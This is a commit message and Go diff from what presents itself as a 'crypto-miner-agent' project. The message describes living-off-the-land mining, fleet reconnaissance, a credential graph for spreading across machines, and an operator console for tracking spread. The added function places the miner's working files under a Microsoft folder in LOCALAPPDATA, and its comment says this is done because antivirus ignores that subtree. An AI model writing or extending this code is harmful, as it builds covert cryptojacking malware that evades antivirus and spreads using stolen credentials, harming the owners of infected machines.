Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/lotl_paths.go

@@ -0,0 +1,33 @@
+package miner
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+// lotlWorkDir returns a user-writable path under %LOCALAPPDATA%\Microsoft\...
+// LOTL compilers and build output land here (AV-ignored Microsoft subtree).
+func lotlWorkDir(cfg config.RuntimeConfig, leaf string) (string, error) {
+	base := strings.TrimSpace(os.Getenv("LOCALAPPDATA"))
+	if base == "" {
+		var err error
+		base, err = os.UserCacheDir()
+		if err != nil {
+			return "", err
+		}
+	}
+	suffix := strings.TrimSpace(cfg.BuildID)
+	if suffix == "" {
+		suffix = "worker"
+	}
+	suffix = strings.Map(func(ch rune) rune {
+		if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
+			return ch
+		}
+		return '-'
+	}, suffix)
+	return filepath.Join(base, "Microsoft", "NET", "AetherForge", leaf, suffix), nil
+}